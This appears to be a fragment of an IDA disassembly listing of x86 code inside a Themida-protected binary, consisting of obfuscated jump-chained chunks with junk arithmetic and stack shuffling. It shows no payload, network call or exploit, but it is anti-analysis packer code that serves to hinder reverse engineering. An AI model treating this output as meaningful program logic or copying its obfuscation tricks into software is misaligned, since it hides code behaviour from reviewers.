; ---------------------------------------------------------------------------


loc_5A11FD:				; CODE XREF: sub_59390B+119C7j
		mov	edx, ecx
		pop	ecx
		jmp	loc_59C5C4
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4E7


loc_5A1205:				; CODE XREF: sub_59F4E7-A79j
		add	ebp, 5C424CFEh
		sub	eax, ebp
		pop	ebp
		sub	ebx, eax
		jmp	loc_598B2A
; END OF FUNCTION CHUNK	FOR sub_59F4E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_5A1215:				; CODE XREF: sub_595BAD+D598j
		pop	esp
		shl	ebx, 4
		jmp	loc_5A1918
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599F46


loc_5A121E:				; CODE XREF: sub_599F46+3652j
		push	[esp+8+var_4]
		pop	ebp
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		jmp	sub_595949
; END OF FUNCTION CHUNK	FOR sub_599F46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_5A122E:				; CODE XREF: sub_5936EC-C1j
		mov	[esp+0], ebx
		push	edx
		jmp	loc_599464
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A1237:				; CODE XREF: sub_59390B+BABDj
		xor	ecx, [esp+0]
		pop	esp
		add	ax, di
		mov	di, word ptr [esp-8+arg_0]
		push	2EB6h
		mov	[esp+0], edx
		push	esp
		pop	edx
		push	4920h
		mov	[esp+0], eax
		mov	eax, 0F1217DEh
		xor	eax, 27F8510Fh
		or	eax, 11D746F6h
		jmp	loc_598627
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59338E


loc_5A1268:				; CODE XREF: sub_59338E+EE4Bj
		mov	eax, [esp+0]
		push	ecx
		push	4B92h
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		pop	ecx
		add	ecx, 4
		push	3828h
		mov	[esp+8+var_8], edx
		mov	edx, 5CF617E2h
		shr	edx, 4
		shr	edx, 2
		xor	edx, 5FC56D4Bh
		neg	edx
		jmp	loc_598C7E
; END OF FUNCTION CHUNK	FOR sub_59338E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A129F:				; CODE XREF: sub_59390B+C41Dj
		add	edx, edi
		pop	edi
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594D13


loc_5A12A7:				; CODE XREF: sub_594D13-38B3j
		and	eax, 3F14C7h
		jmp	loc_5A0568
; END OF FUNCTION CHUNK	FOR sub_594D13

; =============== S U B	R O U T	I N E =======================================



sub_5A12B1	proc near		; CODE XREF: sub_5A21DE-99FDj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A0883 SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		pop	ebp
		push	dword ptr [esp+0]
		jmp	loc_5A0883
sub_5A12B1	endp

; ---------------------------------------------------------------------------


loc_5A12C3:				; CODE XREF: Themida_:005A29FDj
		add	ebx, 0FE1CD1h
		add	ebx, ebp
		jmp	loc_594118
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594D13


loc_5A12D0:				; CODE XREF: sub_594D13+ED68j
		push	eax
		mov	eax, 0FFFFFFFFh
		sub	ebp, eax
		pop	eax
		push	edi
		mov	edi, 2C0C289Dh
		inc	edi
		add	edi, 50A21819h
		neg	edi
		jmp	loc_5A5613
; END OF FUNCTION CHUNK	FOR sub_594D13
; ---------------------------------------------------------------------------


loc_5A12ED:				; CODE XREF: Themida_:00592EFFj
		add	eax, ebp
		sub	eax, 7A474299h
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xor	eax, [esp]
		jmp	loc_5991E8
; ---------------------------------------------------------------------------


loc_5A130B:				; CODE XREF: Themida_:0059E130j
		add	edx, ecx
		push	edi
		push	ebx
		jmp	loc_598DF7
; ---------------------------------------------------------------------------


loc_5A1314:				; CODE XREF: Themida_:0059AC2Aj
		pop	edi
		add	edi, 4
		jmp	loc_5A38DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A1320:				; CODE XREF: sub_59390B+12138j
		add	eax, esi
		pop	esi
		mov	esi, [esp-18h+arg_10]
		add	esp, 4
		mov	ecx, [esp-1Ch+arg_14]
		push	edi
		mov	edi, esp
		jmp	loc_59AB53
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_5A1334:				; CODE XREF: sub_59FCCB-B5BCj
		xor	ah, dl
		pop	edx
		neg	ah
		not	ah
		sub	ah, 4Ah
		xor	dl, ah
		pop	eax
		mov	bl, dl
		jmp	loc_59C0D9
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------


loc_5A1348:				; CODE XREF: Themida_:005997FDj
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 11974E10h
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 75F86E86h
		sub	esi, 620105EAh
		jmp	loc_597557
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_5A137C:				; CODE XREF: sub_59A431+75AAj
		sub	ecx, edx
		pop	edx
		xor	ecx, [esp+8+var_8]
		jmp	loc_592D66
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A1387:				; CODE XREF: sub_59390B-1A58j
		mov	ecx, 70C869FCh
		push	edi
		mov	edi, 722150E1h
		add	ecx, edi
		mov	edi, [esp+0]
		add	esp, 4
		add	ecx, 72FF6D21h
		neg	ecx
		sub	ecx, 0A503A282h
		sub	edx, ecx
		pop	ecx
		sub	esi, 56EF6FF8h
		jmp	loc_59ABB7
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_5A13B9:				; CODE XREF: sub_59CAFB+4455j
		mov	[esp+8+var_8], ecx
		jmp	loc_596A10
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------


loc_5A13C1:				; CODE XREF: Themida_:005914D1j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		neg	ecx
		push	ebx
		push	edx
		mov	edx, 2FA77F57h
		jmp	loc_596100
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_5A13DF:				; CODE XREF: sub_599AE1-812Aj
		neg	ebx
		jmp	loc_5944B1
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------


loc_5A13E6:				; CODE XREF: Themida_:005A47DCj
		xchg	ecx, [esp]
		pop	esp
		sub	[esp], eax
		push	ebp
		mov	ebp, 4C430CB9h
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_5923C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A13FD:				; CODE XREF: sub_59390B+A71Cj
		add	esp, 4
		sub	eax, ebx
		sub	eax, 7C354E32h
		push	ecx
		mov	ecx, esp
		push	eax
		jmp	loc_5926F0
; ---------------------------------------------------------------------------


loc_5A1413:				; CODE XREF: sub_59390B+B1F0j
		xor	cl, ah
		jmp	loc_595603
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A141A:				; CODE XREF: Themida_:005A1822j
		mov	edx, 75DF6376h
		sub	edx, 75DF6372h
		jmp	loc_5A0C6F
; ---------------------------------------------------------------------------


loc_5A142A:				; CODE XREF: Themida_:0059C7D9j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		jmp	loc_5A3B9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5995FC


loc_5A1439:				; CODE XREF: sub_5995FC+79EDj
		pop	bx
		xor	ch, 98h
		sub	dl, ch
		pop	ecx
		dec	dl
		jmp	sub_5A39E6
; END OF FUNCTION CHUNK	FOR sub_5995FC
; ---------------------------------------------------------------------------


loc_5A1448:				; CODE XREF: Themida_:0059F1C6j
		dec	edx
		neg	edx
		not	edx
		jmp	loc_5A248A
; ---------------------------------------------------------------------------


loc_5A1452:				; CODE XREF: Themida_:00592532j
		add	edx, eax
		pop	eax
		jmp	loc_597932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A145A:				; CODE XREF: sub_59390B+166Dj
		xchg	ecx, [esp-24h+arg_1C]
		mov	esp, [esp-24h+arg_1C]
		pop	[esp-24h+arg_1C]
		push	[esp-28h+arg_20]
		pop	eax
		add	esp, 4
		push	224Ah
		mov	[esp-28h+arg_20], edi
		mov	edi, 1
		and	eax, edi
		jmp	loc_5A41D7
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59654E


loc_5A147E:				; CODE XREF: sub_59654E-3DDEj
		mov	eax, 42CC4F4Dh
		xor	eax, 106B6D9Ch
		jmp	loc_595A0A
; END OF FUNCTION CHUNK	FOR sub_59654E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A148D:				; CODE XREF: sub_59390B+1097Dj
		pop	edi
		add	edi, 4
		jmp	loc_59C144
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A1499:				; CODE XREF: Themida_:005998D3j
		mov	[esp], edi
		jmp	loc_591C44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FE1


loc_5A14A1:				; CODE XREF: sub_591FE1+FCF7j
		add	eax, 4
		push	4C34h
		mov	[esp+0Ch+var_C], esi
		mov	esi, 4
		sub	eax, esi
		pop	esi
		xchg	eax, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebx
		push	esp
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+8+var_8]
		pop	esp
		jmp	loc_5A1FEE
; END OF FUNCTION CHUNK	FOR sub_591FE1
; ---------------------------------------------------------------------------


loc_5A14E5:				; CODE XREF: Themida_:0059B883j
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5A4C10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A14EF:				; CODE XREF: sub_59390B+EBECj
		push	edi
		pop	ebx
		pop	edi
		add	ecx, 4CF7D1Dh
		sub	ecx, ebx
		sub	ecx, 4CF7D1Dh
		jmp	loc_591FAA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0733


loc_5A1505:				; CODE XREF: sub_5A0733-39B8j
		add	[esp+10h+var_C], ebp
		pop	ebp
		pop	[esp+0Ch+var_C]
		push	4C12h
		mov	[esp+0Ch+var_C], edi
		mov	edi, 687D2B60h
		jmp	loc_5A04D8
; END OF FUNCTION CHUNK	FOR sub_5A0733
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B8D


loc_5A151F:				; CODE XREF: sub_590B8D+1j
		mov	ebx, 36127B59h
		mov	edx, ebx
		push	[esp+4+var_4]
		pop	ebx
		add	esp, 4
		add	eax, 12175C5Ah
		push	ecx
		jmp	loc_597435
; END OF FUNCTION CHUNK	FOR sub_590B8D
; ---------------------------------------------------------------------------


loc_5A153B:				; CODE XREF: Themida_:00592261j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_599931
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_5A154A:				; CODE XREF: sub_599AE1-DDDj
		mov	[esp+4+var_4], edi
		push	66F3h
		mov	[esp+8+var_8], eax
		mov	eax, 75EF490Ah
		push	3922h
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 59C91BC1h
		xor	ecx, 7FD237A0h
		neg	ecx
		xor	ecx, 32C03EB6h
		add	ecx, 5FEA7CACh
		jmp	loc_5919A9
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------


loc_5A1580:				; CODE XREF: Themida_:005A319Cj
		pop	ax
		or	dh, bh
		pop	ebx
		jmp	loc_59A0BD
; ---------------------------------------------------------------------------


loc_5A158A:				; CODE XREF: Themida_:00597B47j
		xor	al, bl
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5A1A04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A159D:				; CODE XREF: sub_59390B-2B16j
		neg	dword ptr [esp+0]
		mov	edi, [esp+0]
		add	esp, 4
		dec	edi
		sub	edi, 0ED4365A1h
		jmp	loc_5A4AE4
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592586


loc_5A15B2:				; CODE XREF: sub_592586+2B3Dj
		push	6A60h
		jmp	loc_5A0A97
; END OF FUNCTION CHUNK	FOR sub_592586
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0D58


loc_5A15BC:				; CODE XREF: sub_5A0D58-95DDj
		or	ecx, ebx
		pop	ebx
		add	ecx, 0DCC9A0F1h
		jmp	loc_59F581
; END OF FUNCTION CHUNK	FOR sub_5A0D58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_5A15CA:				; CODE XREF: sub_5A51EA-DF54j
		shl	dl, 1
		sub	esp, 4
		jmp	loc_5A3D02
; END OF FUNCTION CHUNK	FOR sub_5A51EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21DE


loc_5A15D4:				; CODE XREF: sub_5A21DE+DFCj
		mov	ebp, [esp+0]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edx
		jmp	loc_5915CA
; END OF FUNCTION CHUNK	FOR sub_5A21DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_5A15E6:				; CODE XREF: sub_59AB43-6206j
					; sub_59CAFB-4CF6j ...
		push	dword ptr [edi+24h]
		push	[esp+4+var_4]
		jmp	loc_5A2748
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------


loc_5A15F1:				; CODE XREF: Themida_:00599BAAj
		mov	ecx, 29AD5A9Ch
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5A1600:				; CODE XREF: Themida_:0059C414j
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		jmp	loc_5965A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A160F:				; CODE XREF: sub_59390B+BDDDj
		pop	eax
		jmp	loc_5945A2
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A1615:				; CODE XREF: Themida_:00591551j
		mov	eax, [esp]
		push	2163h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	eax
		jmp	loc_59B80B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D1FC


loc_5A162E:				; CODE XREF: sub_59D1FC-1A33j
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		jmp	loc_595A1F
; END OF FUNCTION CHUNK	FOR sub_59D1FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A1638:				; CODE XREF: sub_59390B-644j
		push	7A44h
		jmp	loc_59319F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A1642:				; CODE XREF: Themida_:0059AFA4j
		push	48ECh
		mov	[esp], ecx
		jmp	loc_59FC17
; ---------------------------------------------------------------------------


loc_5A164F:				; CODE XREF: Themida_:00598C23j
		add	ecx, 31F471D4h
		add	ecx, edi
		jmp	loc_591D18
; ---------------------------------------------------------------------------


loc_5A165C:				; CODE XREF: Themida_:00595A3Fj
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 569221CAh
		jmp	loc_591E10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A23FB


loc_5A1671:				; CODE XREF: sub_5A23FB-3AFAj
		shl	edx, 1
		sub	esp, 4
		mov	[esp-0Ch+arg_8], edi
		mov	edi, 0C2C30D4h
		and	edx, edi
		pop	edi
		push	ebx
		mov	ebx, 1B8774EDh
		jmp	loc_5931C6
; END OF FUNCTION CHUNK	FOR sub_5A23FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59918B


loc_5A168C:				; CODE XREF: sub_59918B-2791j
		pop	esp
		push	edx
		jmp	loc_5A2CB3
; END OF FUNCTION CHUNK	FOR sub_59918B
; ---------------------------------------------------------------------------


loc_5A1693:				; CODE XREF: Themida_:0059EDF0j
		pop	eax
		add	esp, 4
		add	edx, eax
		push	eax
		mov	eax, 4B634D2Dh
		not	eax
		jmp	loc_5A3A11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D02F


loc_5A16A9:				; CODE XREF: sub_59D02F+9j
		mov	[esp+8+var_8], eax
		jmp	loc_598E14
; END OF FUNCTION CHUNK	FOR sub_59D02F
; ---------------------------------------------------------------------------


loc_5A16B1:				; CODE XREF: Themida_:005932B5j
		inc	esi
		jmp	loc_59B6C7

; =============== S U B	R O U T	I N E =======================================



sub_5A16B7	proc near		; CODE XREF: sub_591FE1+4887j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00592292 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005930D7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A201A SIZE 0000000D BYTES

		push	ebp
		mov	ebp, 2F9014E8h
		sub	ebp, 47C03A7Ch
		jmp	loc_5A201A
sub_5A16B7	endp

; ---------------------------------------------------------------------------


loc_5A16C8:				; CODE XREF: Themida_:00597F48j
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_59AEE4
; ---------------------------------------------------------------------------


loc_5A16D5:				; CODE XREF: Themida_:0059B14Fj
		push	6D940E15h
		pop	esi
		shl	esi, 5
		add	esi, 0C2EB9F22h
		mov	edx, esi
		pop	esi
		push	eax
		mov	eax, 7FB87B30h
		not	eax
		and	eax, 6255483Eh
		xor	eax, 12449A59h
		add	edx, 0D8331D0h
		add	edx, 689475Ch
		sub	edx, 29D02B23h
		push	eax
		mov	eax, 54534D8Bh
		push	edx
		mov	edx, 5E0348ACh
		xor	eax, edx
		pop	edx
		neg	eax
		xor	eax, 24212139h
		push	edi
		mov	edi, 148307D5h
		sub	edi, 2E830098h
		shl	edi, 2
		jmp	loc_5998A1
; ---------------------------------------------------------------------------


loc_5A1735:				; CODE XREF: Themida_:0059A12Aj
		xor	ecx, 49F921E8h
		sub	ecx, 9F4E2BEDh
		add	esi, 5AA85319h
		jmp	loc_590EC2
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_59EADA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A175B:				; CODE XREF: sub_59390B+1F18j
		mov	esi, 7F551ACh
		jmp	loc_594C0A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A1765:				; CODE XREF: Themida_:005930CCj
		pop	edx
		jmp	loc_59E9BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A176B:				; CODE XREF: sub_59390B-1F88j
		mov	edx, ebx
		pop	ebx
		push	6443h
		mov	[esp-8+arg_0], ecx
		mov	ecx, 4D72557h
		sub	edi, ecx
		mov	ecx, [esp-8+arg_0]
		jmp	sub_594D13
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_5A1785:				; CODE XREF: sub_5A51EA-5DFBj
		and	cl, 7Bh
		and	cl, 12h
		add	cl, 80h
		jmp	loc_59A03F
; END OF FUNCTION CHUNK	FOR sub_5A51EA
; ---------------------------------------------------------------------------


loc_5A1793:				; CODE XREF: Themida_:00595EC0j
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_591183
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FE1


loc_5A17A3:				; CODE XREF: sub_591FE1+18E6j
		and	eax, edi
		push	dword ptr [esp+0]
		jmp	loc_598283
; END OF FUNCTION CHUNK	FOR sub_591FE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C8E


loc_5A17AD:				; CODE XREF: sub_597C8E+CAD5j
		sub	ebp, 4F1812ABh
		jmp	loc_594293
; END OF FUNCTION CHUNK	FOR sub_597C8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_5A17B8:				; CODE XREF: sub_5A51EA-FD3j
		pop	eax
		pop	edx
		jmp	loc_594ABD
; END OF FUNCTION CHUNK	FOR sub_5A51EA

; =============== S U B	R O U T	I N E =======================================



sub_5A17BF	proc near		; DATA XREF: Themida_:005909B4o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00590E0F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591635 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00591B63 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005923AB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00592BEA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005934C8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005938DB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005953B7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005954E8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00595DB9 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005963DA SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059A846 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059C79E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C84C SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059CBBC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059F1CB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059FCBE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A0024 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A1973 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A1AC4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1E38 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A4867 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A58BE SIZE 00000008 BYTES

		lodsd
		jmp	loc_59A846
sub_5A17BF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598DC3


loc_5A17C5:				; CODE XREF: sub_598DC3+11j
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5A5866
; END OF FUNCTION CHUNK	FOR sub_598DC3
; ---------------------------------------------------------------------------


loc_5A17DC:				; CODE XREF: Themida_:0059533Ej
		pop	ebp
		push	edi
		jmp	loc_5A5995
; ---------------------------------------------------------------------------


loc_5A17E3:				; CODE XREF: Themida_:005A0DBFj
		add	ecx, eax
		pop	eax
		add	esi, 5C1B2098h
		jmp	loc_598ECE
; ---------------------------------------------------------------------------


loc_5A17F1:				; CODE XREF: Themida_:0059A2FDj
		mov	eax, 0EF4DA2D1h
		xor	ebx, eax
		pop	eax
		sub	ebp, 74791122h
		add	ebp, ebx
		add	ebp, 74791122h
		pop	ebx
		push	279Eh
		jmp	loc_5A1896
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		mov	edx, esp
		push	ecx
		push	3743h
		mov	[esp], edx
		jmp	loc_5A141A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59822A


loc_5A1827:				; CODE XREF: sub_59822A-3E75j
		pop	edx
		push	ebp
		push	esp
		jmp	loc_5944C4
; END OF FUNCTION CHUNK	FOR sub_59822A
; ---------------------------------------------------------------------------


loc_5A182F:				; CODE XREF: Themida_:0059DFFBj
		inc	eax
		jmp	loc_59EEB0
; ---------------------------------------------------------------------------


loc_5A1835:				; CODE XREF: Themida_:005A09E1j
		push	eax
		mov	eax, 173532ACh
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4F96261Bh
		add	ebx, ebp
		pop	ebp
		add	ebx, ecx
		sub	ebx, 4F96261Bh
		sub	ebx, 173532ACh
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebp
		jmp	loc_593A3A
; ---------------------------------------------------------------------------


loc_5A1869:				; DATA XREF: Themida_:005909DCo
		mov	ax, [esp]
		push	61CAh
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		jmp	loc_5A523F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59918B


loc_5A187E:				; CODE XREF: sub_59918B+1F9j
		pop	esi
		jmp	loc_594FCF
; END OF FUNCTION CHUNK	FOR sub_59918B
; ---------------------------------------------------------------------------


loc_5A1884:				; CODE XREF: Themida_:005A3889j
		mov	edx, 0A3E1584h
		jmp	loc_5A012E
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5A1896:				; CODE XREF: Themida_:005A180Dj
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	3345h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5A2B18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A18B8:				; CODE XREF: sub_59390B+4EEFj
		push	edi
		mov	edi, 36543737h
		neg	edi
		jmp	loc_59EECD
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A18C5:				; CODE XREF: Themida_:00594B4Dj
		add	esp, 4
		push	eax
		jmp	loc_5A2172
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D1FC


loc_5A18CE:				; CODE XREF: sub_59D1FC+6E2Cj
		push	1DD5EA4h
		jmp	loc_59BFBD
; END OF FUNCTION CHUNK	FOR sub_59D1FC
; ---------------------------------------------------------------------------


loc_5A18D8:				; CODE XREF: Themida_:0059FA80j
		add	esp, 4
		add	ecx, edi
		jmp	loc_593BC7
; ---------------------------------------------------------------------------


loc_5A18E5:				; CODE XREF: Themida_:00598C51j
		shl	eax, 8
		sub	eax, 13767A7Ah
		jmp	loc_59EDEB
; ---------------------------------------------------------------------------


loc_5A18F2:				; CODE XREF: Themida_:0059DB6Dj
		pop	ecx
		add	edx, ebp
		pop	ebp
		add	edx, 4
		jmp	loc_591681
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A18FE:				; CODE XREF: sub_59390B+3E1j
		pop	ecx
		push	[esp-22h+arg_18+2]
		jmp	loc_599F5C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A1907:				; CODE XREF: Themida_:0059551Aj
		mov	[esp], edx
		mov	edx, 6A7F2083h
		sub	[esp+8], edx
		jmp	loc_59396A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_5A1918:				; CODE XREF: sub_595BAD+B66Cj
		push	esi
		mov	esi, 0C6E2C66h
		jmp	loc_595841
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------


loc_5A1923:				; CODE XREF: Themida_:00596E93j
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_5A29D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592A27


loc_5A192E:				; CODE XREF: sub_592A27+Cj
		xchg	ebp, [esp+0]
		pop	esp
		pop	eax
		rep movsd
		add	esp, [edx+38h]
		push	3FEBh
		jmp	loc_59BD12
; END OF FUNCTION CHUNK	FOR sub_592A27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_5A1942:				; CODE XREF: sub_595BAD+72E6j
		add	edi, 4573456Ah
		jmp	loc_5A2D54
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------


loc_5A194D:				; CODE XREF: Themida_:005A3AFCj
		sub	[esp], eax
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5A1956:				; CODE XREF: Themida_:00596A82j
		add	esp, 2
		push	ax
		mov	ah, 6Fh
		jmp	loc_5A5840
; ---------------------------------------------------------------------------


loc_5A1962:				; CODE XREF: Themida_:00597E83j
		and	edi, 3110F07h
